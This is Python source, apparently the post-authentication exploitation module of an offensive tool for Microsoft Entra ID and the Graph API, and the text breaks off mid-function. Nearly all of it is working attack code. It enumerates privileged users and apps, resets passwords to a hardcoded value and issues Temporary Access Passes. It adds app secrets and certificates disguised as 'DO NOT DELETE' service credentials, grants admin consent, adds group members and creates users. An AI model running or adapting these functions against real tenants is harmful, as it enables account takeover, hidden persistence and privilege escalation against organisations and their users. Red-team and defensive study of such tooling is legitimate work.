import requests import json import os import time import sys from tqdm import tqdm from datetime import datetime, timedelta, timezone from tabulate import tabulate from bs4 import BeautifulSoup from cryptography import x509 from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.serialization import pkcs12 from cryptography.hazmat.backends import default_backend from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token from Graphpython.utils.helpers import read_file_content, format_list_style, highlight_search_term, read_and_encode_cert ########################## # Post-Auth Exploitation # ########################## # invoke-customquery def invoke_customquery(args): if not args.query: print_red("[-] Error: --query argument is required for Invoke-CutstomQuery command") return print_yellow("[*] Invoke-CutstomQuery") print("=" * 80) api_url = args.query if args.select: api_url += "?$select=" + args.select user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } response = requests.get(api_url, headers=headers) if response.status_code == 200: response_json = response.json() if "@odata.context" in response_json: del response_json["@odata.context"] print(json.dumps(response_json, indent=4)) else: print_red(f"[-] Failed to retrieve query: {response.status_code}") print_red(response.text) print("=" * 80) # invoke-search def invoke_search(args): if not args.search or not args.entity: print_red("[-] Error: --search and --entity required for Invoke-Search command") return print_yellow("[*] Invoke-Search") print("=" * 80) api_url = "https://graph.microsoft.com/v1.0/search/query" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } json_body = { "requests": [ { "entityTypes": [args.entity], "query": { "queryString": args.search } } ] } response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: response_body = response.json() for key, value in response_body.items(): if not key.startswith("@odata.context"): pretty_value = json.dumps(value, indent=4) highlighted_value = highlight_search_term(pretty_value, args.search) print(f"{key}: {highlighted_value}") url = response_body.get("@odata.nextLink") if url: response = requests.get(url, headers=headers) response.raise_for_status() response_body = response.json() else: print_red(f"[-] Failed to search data: {response.status_code}") print_red(response.text) print("=" * 80) # find-privilegedroleusers def find_privilegedroleusers(args): roles = [ {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} ] print_yellow("[*] Find-PrivilegedRoleUsers") print("=" * 80) user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } for role in roles: api_url = f"https://graph.microsoft.com/v1.0/directoryRoles(roleTemplateId='{role['roleTemplateId']}')/members" response = requests.get(api_url, headers=headers) if response.ok: print_green(f"[+] Role: {role['displayName']}") print(f"Description: {role['description']}") response_body = response.json() filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} format_list_style(filtered_data) else: print_red(f"[-] Role: {role['displayName']}") print("=" * 80) # find-privilegedapplications def find_privilegedapplications(args): print_yellow("[*] Find-PrivilegedApplications") print("=" * 80) api_url = "https://graph.microsoft.com/v1.0/applications?$select=appId" user_agent = get_user_agent(args) headers = { 'Authorization': 'Bearer ' + get_access_token(args.token), 'Accept': 'application/json', 'User-Agent': user_agent } response = requests.get(api_url, headers=headers) if response.status_code == 200: applications = response.json() app_ids = [app['appId'] for app in applications.get('value', [])] else: print_red(f"[-] Error: API request failed with status code {response.status_code}") app_ids = [] service_principals = [] for app_id in app_ids: sp_api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'&$select=id,appDisplayName" sp_response = requests.get(sp_api_url, headers=headers) if sp_response.status_code == 200: sp_data = sp_response.json() for sp in sp_data.get('value', []): service_principals.append({ 'id': sp['id'], 'appDisplayName': sp['appDisplayName'] }) else: print_red(f"[-] Error: Service Principal API request failed for appId {app_id} with status code {sp_response.status_code}") app_role_assignments = {} for sp in service_principals: app_role_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp['id']}/appRoleAssignments" app_role_response = requests.get(app_role_url, headers=headers) if app_role_response.status_code == 200: assignments = app_role_response.json() app_role_assignments[sp['id']] = { 'appDisplayName': sp['appDisplayName'], 'assignments': assignments.get('value', []) } else: print_red(f"[-] Error: App Role Assignments API request failed for Service Principal ID {sp['id']}: {app_role_response.status_code}") print_red(app_role_response.text) def parse_roleids(content): soup = BeautifulSoup(content, 'html.parser') permissions = {} for h3 in soup.find_all('h3'): permission_name = h3.get_text() table = h3.find_next('table') rows = table.find_all('tr') application_id = rows[1].find_all('td')[1].get_text() delegated_id = rows[1].find_all('td')[2].get_text() application_description = rows[2].find_all('td')[1].get_text() delegated_description = rows[2].find_all('td')[2].get_text() application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" permissions[application_id] = ('Application', permission_name, application_description, application_consent) permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) return permissions script_dir = os.path.dirname(os.path.abspath(__file__)) file_path = os.path.join(script_dir, 'graphpermissions.txt') try: with open(file_path, 'r') as file: content = file.read() except FileNotFoundError: print_red(f"\n[-] The file {file_path} does not exist.") sys.exit(1) except Exception as e: print_red(f"\n[-] An error occurred: {e}") sys.exit(1) permissions = parse_roleids(content) # results for sp_id, data in app_role_assignments.items(): print(f"\nApplication: {data['appDisplayName']}") if data['assignments']: for assignment in data['assignments']: app_role_id = assignment.get('appRoleId', 'N/A') print_green(f"[+] App Role ID: {app_role_id}") if app_role_id in permissions: role_type, role_name, description, consent_required = permissions[app_role_id] print_green(f"[+] Role Name: {role_name}") print_green(f"[+] Description: {description}") #print_green(f"[+] Role Type: {role_type}") # can only be application for appRoleAssignments, delegated role types use oauth2PermissionGrants #print_green(f"[+] Admin Consent Required: {consent_required}") # admin consent required for all app graph perms else: print_red(f"[-] Role information not found for App Role ID: {app_role_id}") print_green(f"[+] Resource: {assignment.get('resourceDisplayName', 'N/A')}") print("---") else: print_red("[-] No role assignments") print("=" * 80) # find-updatablegroups def find_updatablegroups(args): print_yellow("[*] Find-UpdatableGroups") print("=" * 80) graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" default_fields = ['id', 'displayName', 'description', 'isAssignableToRole', 'onPremisesSyncEnabled', 'mail', 'createdDateTime', 'visibility'] if args.select: select_fields = args.select.split(',') graph_api_endpoint += f"?$select=id,{args.select}" else: select_fields = default_fields graph_api_endpoint += f"?$select=id,{','.join(select_fields)}" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } results = [] while graph_api_endpoint: try: response = requests.get(graph_api_endpoint, headers=headers) response.raise_for_status() response_data = response.json() for group in response_data['value']: if 'id' not in group: print_yellow(f"[-] Group without 'id' found, skipping") continue group_id = group['id'] request_body = { "resourceActionAuthorizationChecks": [ { "directoryScopeId": f"/{group_id}", "resourceAction": "microsoft.directory/groups/members/update" } ] } while True: try: estimate_response = requests.post(estimate_access_endpoint, headers=headers, json=request_body) estimate_response.raise_for_status() estimate_data = estimate_response.json() if estimate_data['value'][0]['accessDecision'] == "allowed": group_out = {k: group.get(k) for k in select_fields if k in group} results.append(group_out) break except requests.exceptions.HTTPError as e: if e.response.status_code == 429: print_yellow("[*] Requests throttled... sleeping for 5 seconds") time.sleep(5) else: print_red(f"[-] Error estimating access for group: {str(e)}") break except requests.exceptions.RequestException as e: print_red(f"[-] Error estimating access for group: {str(e)}") break graph_api_endpoint = response_data.get('@odata.nextLink') except requests.exceptions.RequestException as e: print_red(f"[-] Error fetching Groups: {str(e)}") break if results: max_key_length = max(len(key) for result in results for key in result.keys()) for result in results: for key, value in result.items(): print(f"{key:<{max_key_length}} : {value}") print("") else: print_red("[-] No updatable groups found") print("=" * 80) # find-dynamicgroups def find_dynamicgroups(args): print_yellow("[*] Find-DynamicGroups") print("=" * 80) graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } results = [] while graph_api_endpoint: try: while True: try: response = requests.get(graph_api_endpoint, headers=headers) response.raise_for_status() break except requests.exceptions.HTTPError as e: if e.response.status_code == 429: print_yellow("[*] Requests throttled... sleeping 5 seconds") time.sleep(5) else: raise response_data = response.json() for group in response_data['value']: group_id = f"/{group['id']}" request_body = { "resourceActionAuthorizationChecks": [ { "directoryScopeId": group_id, "resourceAction": "microsoft.directory/groups/members/update" } ] } if group.get('membershipRule') is not None: #print_green(f"[+] Found dynamic group: {group['displayName']}") group_out = { "Group Name": group.get('displayName'), "Group ID": group.get('id'), "Description": group.get('description'), "Is Assignable To Role": group.get('isAssignableToRole'), "On-Prem Sync Enabled": group.get('onPremisesSyncEnabled'), "Mail": group.get('mail'), "Created Date": group.get('createdDateTime'), "Visibility": group.get('visibility'), "MembershipRule": group.get('membershipRule'), "Membership Rule Processing State": group.get('membershipRuleProcessingState') } results.append(group_out) graph_api_endpoint = response_data.get('@odata.nextLink') except requests.exceptions.RequestException as e: print_red(f"[-] Error fetching Group IDs: {str(e)}") break if results: for result in results: for key, value in result.items(): print(f"{key:<35} : {value}") print() else: print_red("[-] No dynamic groups found") print("=" * 80) # find-securitygroups def find_securitygroups(args): print_yellow("[*] Find-SecurityGroups") print("=" * 80) graph_api_url = "https://graph.microsoft.com/v1.0" groups_url = f"{graph_api_url}/groups?$filter=securityEnabled eq true" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } groups_with_members = [] while groups_url: try: response = requests.get(groups_url, headers=headers) response.raise_for_status() groups_response = response.json() groups = groups_response.get('value', []) except requests.exceptions.RequestException as e: print_red(f"[-] An error occurred while retrieving security groups: {str(e)}") return for group in groups: group_id = group['id'] members_url = f"{graph_api_url}/groups/{group_id}/members" try: members_response = requests.get(members_url, headers=headers) members_response.raise_for_status() members = members_response.json().get('value', []) except requests.exceptions.HTTPError as e: if e.response.status_code == 429: print_yellow("[*] Being throttled... sleeping for 5 seconds") time.sleep(5) else: print_red(f"[-] An error occurred while retrieving members for group {group['displayName']}: {str(e)}") continue member_info = [ member.get('userPrincipalName') or member.get('id', '') for member in members ] group_info = { "GroupName": group['displayName'], "GroupId": group_id, "Members": member_info } groups_with_members.append(group_info) groups_url = groups_response.get('@odata.nextLink') if groups_with_members: #print_green(f"[*] Found {len(groups_with_members)} security groups\n") for group in groups_with_members: print(f"Group Name: {group['GroupName']}") print(f"Group ID: {group['GroupId']}") print("Members:") for member in group['Members']: print(f" - {member}") print() else: print_red("[-] No security groups found") print("=" * 80) # update-userpassword def update_userpassword(args): if not args.id: print_red("[-] Error: --id required for Update-UserPassword command") return print_yellow("[*] Update-UserPassword") print("=" * 80) api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } json_body = { "passwordProfile": { "forceChangePasswordNextSignIn": False, "password": "NewUserSecret@Pass!" } } response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: print_green("[+] User password profile updated") else: print_red(f"[-] Failed to update user password: {response.status_code}") print_red(response.text) print("=" * 80) # update-userproperties def update_userproperties(args): properties = [ "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", "country", "createdDateTime", "department", "displayName", "employeeId", "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", "schools", "showInAddressList", "skills", "state", "streetAddress", "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" ] if not args.id: print_red("[-] Error: --id required for Update-UserProperties command") return print_yellow("[*] Update-UserProperties") print("=" * 80) api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } print("\033[34m[>] Property Definitions: https://learn.microsoft.com/en-us/graph/api/user-update\033[0m") try: userproperty = input("\nEnter Property: ").strip() if userproperty not in properties: print_red(f"\n[-] Error: '{userproperty}' is not a valid property.") print("=" * 80) sys.exit() newvalue = input(f"Enter New '{userproperty}' Value: ").strip() except KeyboardInterrupt: sys.exit() json_body = { userproperty : newvalue } response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: print_green("\n[+] User properties updated successfully") else: print_red(f"\n[-] Failed to update user properties: {response.status_code}") print_red(response.text) print("=" * 80) # add-applicationcertificate def add_applicationcertificate(args): openssl = """ Genrate Certificate: opessl genrsa -out private.key 2048 opessl req -new -key private.key -out request.csr opessl x509 -req -days 365 -in request.csr -signkey private.key -out certificate.crt opessl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.crt Then supply certificate (public key) with one of the following file types to --cert: .cer .pem .crt """ if not args.id or not args.cert: print_red("[-] Error: --id and --cert required for Add-ApplicationCertificate command") print_red(openssl) return encoded_cert = read_and_encode_cert(args.cert) print_yellow("[*] Add-ApplicationCertificate") print("=" * 80) # 1. Find existing certs so we don't remove them in the patch req api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" user_agent = get_user_agent(args) headers = { 'Authorization': 'Bearer ' + get_access_token(args.token), 'Content-Type':'application/json', 'User-Agent': user_agent } response = requests.get(api_url, headers=headers) if response.status_code == 200: applications = response.json() key_credentials = applications.get('keyCredentials', []) else: print_red(f"[-] Error obtaining existing certificates {response.status_code}") print_red(response.text) # 2. patch app added our cert to the existing api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" try: displayname = input("\nEnter Certificate Display Name: ").strip() if not displayname: displayname = "DevOps Certificate - DO NOT DELETE" except KeyboardInterrupt: sys.exit() new_key_credential = { "type": "AsymmetricX509Cert", "usage": "Verify", "key": encoded_cert, "displayName": displayname } key_credentials.append(new_key_credential) data = { "keyCredentials": key_credentials } response = requests.patch(api_url, headers=headers, json=data) if response.ok: print_green("\n[+] Successfully added application certificate") else: print_red(f"\n[-] Failed to add certificate: {response.status_code}") print_red(response.text) print("=" * 80) # add-applicationpassword def add_applicationpassword(args): if not args.id: print_red("[-] Error: --id required for Add-ApplicationPassword command") return print_yellow("[*] Add-ApplicationPassword") print("=" * 80) api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}/addPassword" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } current_time_utc = datetime.now(timezone.utc) six_months_later = current_time_utc + timedelta(days=6*30) formatted_date = six_months_later.strftime("%Y-%m-%dT%H:%M:%SZ") json_body = {"displayName":"Added by Azure Service Bus - DO NOT DELETE", "endDateTime": formatted_date} response = requests.post(api_url, headers=headers, json=json_body) if response.ok: response_body = response.json() for key, value in response_body.items(): if not key.startswith("@odata.context"): pretty_value = json.dumps(value, indent=4) if key == "secretText": print_green(f"{key}: {pretty_value}") else: print(f"{key}: {pretty_value}") else: print_red(f"[-] Failed to add password: {response.status_code}") print_red(response.text) print("=" * 80) # add-applicationpermission def add_applicationpermission(args): if not args.id: print_red("[-] Error: --id required for Add-ApplicationPermission command") return print_yellow("[*] Add-ApplicationPermission") print("=" * 80) # 1. check existing permissions api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } response = requests.get(api_url, headers=headers) existingperms = [] if response.status_code == 200: response_json = response.json() existingperms = response_json.get('requiredResourceAccess', []) # 2. patch perms api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id #api_url = f"https://graph.microsoft.com/v1.0/myorganization/applications/{args.id}" # object id print("\033[34m[>] API Permissions: https://learn.microsoft.com/en-us/graph/permissions-reference\033[0m") # permission id validation def parse_permissionid(content): soup = BeautifulSoup(content, 'html.parser') permissions = {} for h3 in soup.find_all('h3'): permission_name = h3.get_text() table = h3.find_next('table') rows = table.find_all('tr') application_id = rows[1].find_all('td')[1].get_text() delegated_id = rows[1].find_all('td')[2].get_text() application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" permissions[application_id] = ('Application', permission_name, application_consent) permissions[delegated_id] = ('Delegated', permission_name, delegated_consent) return permissions script_dir = os.path.dirname(os.path.abspath(__file__)) file_path = os.path.join(script_dir, 'graphpermissions.txt') try: with open(file_path, 'r') as file: content = file.read() except FileNotFoundError: print_red(f"\n[-] The file {file_path} does not exist.") sys.exit(1) except Exception as e: print_red(f"\n[-] An error occurred: {e}") sys.exit(1) permissions = parse_permissionid(content) try: permissionid = input("\nEnter API Permission ID: ").strip() if permissionid not in permissions: print_red("\n[-] Invalid permission ID. Not in graphpermissions.txt") sys.exit(1) permission_info = permissions[permissionid] if len(permission_info) == 3: permission_type, permission_name, admin_consent_required = permission_info else: permission_type, permission_name = permission_info admin_consent_required = "Unknown" print(f"\nPermission ID: {permissionid} corresponds to '{permission_name}' with type '{permission_type}'") # grant admin consent option print(f"Admin Consent Required: {admin_consent_required}") if admin_consent_required.lower() == 'yes': grantadminconsent = input(f"\nGrant Admin Consent For: {permission_name}? (yes/no): ").strip().lower() else: pass grantadminconsent = 'no' except KeyboardInterrupt: sys.exit(1) if permission_type.lower() == "application": typevalue = "Role" elif permission_type.lower() == "delegated": typevalue = "Scope" else: print_red("\n[-] Unexpected error") print("=" * 80) sys.exit() graphresource = next((resource for resource in existingperms if resource['resourceAppId'] == '00000003-0000-0000-c000-000000000000'), None) # does Microsoft Graph resource already exist if graphresource: graphresource['resourceAccess'].append({ "id": permissionid, "type": typevalue }) else: existingperms.append({ "resourceAppId": "00000003-0000-0000-c000-000000000000", "resourceAccess": [ { "id": permissionid, # b633e1c5-b582-4048-a93e-9f11b44c7e96 -> Mail.Send (Application perm - admin consent required) "type": typevalue } ] }) # assign perm json data = { "requiredResourceAccess": existingperms } clientAppId = args.id # admin consent json admin_data = { "clientAppId": clientAppId, "onBehalfOfAll": True, "checkOnly": False, "tags": [], "constrainToRra": True, "dynamicPermissions": [ { "appIdentifier": "00000003-0000-0000-c000-000000000000", "appRoles": [permission_name], "scopes": [] } ] } response = requests.patch(api_url, headers=headers, json=data) if grantadminconsent == "no": if response.ok: print_green("\n[+] Application permissions updated successfully") print("=" * 80) sys.exit() else: print_red(f"\n[-] Failed to update application permissions: {response.status_code}") print_red(response.text) print("=" * 80) sys.exit() headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent, 'Content-Type': 'application/json', } # any failures granting admin consent likely due to token scope/perms if grantadminconsent == "yes": if response.ok: print_green("\n[+] Application permissions updated successfully") print() custom_bar = '╢{bar:50}╟' for _ in tqdm(range(5), bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): time.sleep(1) granturl = "https://graph.microsoft.com/beta/directory/consentToApp" grantreq = requests.post(granturl, headers=headers, json=admin_data) if grantreq.ok: print_green(f"[+] Admin consent granted for: '{permission_name}'") else: print_red(f"\n[-] Failed to grant admin consent: {grantreq.status_code}") print_red(grantreq.text) print("=" * 80) # grant-appadminconsent def grant_appadminconsent(args): if not args.id: print_red("[-] Error: --id required for Grant-AppAdminConsent command") return print_yellow("[*] Grant-AppAdminConsent") print("=" * 80) clientAppId = args.id user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent, 'Content-Type': 'application/json', } script_dir = os.path.dirname(os.path.abspath(__file__)) file_path = os.path.join(script_dir, 'graphpermissions.txt') try: with open(file_path, 'r') as file: content = file.read() except FileNotFoundError: print_red(f"\n[-] The file {file_path} does not exist.") sys.exit(1) except Exception as e: print_red(f"\n[-] An error occurred: {e}") sys.exit(1) try: permission_names = input("\nEnter Permission Names (comma-separated): ").strip().split(',') permission_names = [name.strip() for name in permission_names] except KeyboardInterrupt: sys.exit() invalid_permissions = [name for name in permission_names if name not in content] if invalid_permissions: print_red(f"\n[-] Invalid Graph permissions: {', '.join(invalid_permissions)}") print("=" * 80) sys.exit() admin_data = { "clientAppId": clientAppId, "onBehalfOfAll": True, "checkOnly": False, "tags": [], "constrainToRra": True, "dynamicPermissions": [ { "appIdentifier": "00000003-0000-0000-c000-000000000000", "appRoles": permission_names, "scopes": [] } ] } url = "https://graph.microsoft.com/beta/directory/consentToApp" request = requests.post(url, headers=headers, json=admin_data) if request.ok: print_green(f"\n[+] Admin consent granted for: '{', '.join(permission_names)}'") else: print_red(f"\n[-] Failed to grant admin consent: {request.status_code}") print_red(request.text) print("=" * 80) # add-userTAP def add_usertap(args): if not args.id: print_red("[-] Error: --id required for Add-UserTAP command") return print_yellow("[*] Add-UserTAP") print("=" * 80) api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/temporaryAccessPassMethods" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } current_time_utc = datetime.now(timezone.utc) one_hour_later = current_time_utc + timedelta(minutes=60) formatted_date = one_hour_later.strftime("%Y-%m-%dT%H:%M:%SZ") json_body = { "properties": { "isUsableOnce": True, "startDateTime": formatted_date } } response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: response_body = response.json() for key, value in response_body.items(): if not key.startswith("@odata.context"): pretty_value = json.dumps(value, indent=4) print(f"{key}: {pretty_value}") url = response_body.get("@odata.nextLink") if url: response = requests.get(url, headers=headers) response.raise_for_status() response_body = response.json() else: print_red(f"[-] Failed to add TAP: {response.status_code}") print_red(response.text) print("=" * 80) # add-groupmember def add_groupmember(args): if not args.id: print_red("[-] Error: --id groupid,objectid required for Add-GroupMember command") return ids = args.id.split(',') if len(ids) != 2: print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") return group_id, member_id = ids[0].strip(), ids[1].strip() print_yellow("[*] Add-GroupMember") print("=" * 80) api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } json_body = { "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{member_id}" } response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: print_green("[+] User added to group") else: print_red(f"[-] Failed to add group member: {response.status_code}") print_red(response.text) print("=" * 80) # create-application def create_application(args): print_yellow("[*] Create-Application") print("=" * 80) api_url = f"https://graph.microsoft.com/v1.0/applications" try: appname = input("\nEnter App Name: ").strip() except KeyboardInterrupt: sys.exit() user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } json_body = {"displayName": appname} response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: print_green("\n[+] Application created\n") response_body = response.json() for key, value in response_body.items(): if not key.startswith("@odata.context"): pretty_value = json.dumps(value, indent=4) print(f"{key}: {pretty_value}") else: print_red(f"[-] Failed to create application: {response.status_code}") print_red(response.text) print("=" * 80) # create-newuser def create_newuser(args): print_yellow("[*] Create-NewUser") print("=" * 80) try: display_name = input("\nEnter Display Name: ").strip() mail_nickname = input("Enter Mail Nickname: ").strip() user_principal_name = input("Enter User Principal Name: ").strip() password = input("Enter Password: ").strip() except KeyboardInterrupt: sys.exit() api_url = f"https://graph.microsoft.com/v1.0/users/" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } json_body = { "accountEnabled": True, "displayName": display_name, "mailNickname": mail_nickname, "userPrincipalName": user_principal_name, "passwordProfile": { "forceChangePasswordNextSignIn": True, "password": password } } response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: print_green("\n[+] New user created\n") response_body = response.json() for key, value in response_body.items(): if not key.startswith("@odata.context"): pretty_value = json.dumps(value, indent=4) print(f"{key}: {pretty_value}") else: print_red(f"[-] Failed to create new user: {response.status_code}") print_red(response.text) print("=" * 80) # invite-guestuser def invite_guestuser(args): if not args.tenant: print_red("[-] Error: --tenant required for Invite-GuestUser command") return print_yellow("[*] Invite-GuestUser") print("=" * 80) try: email 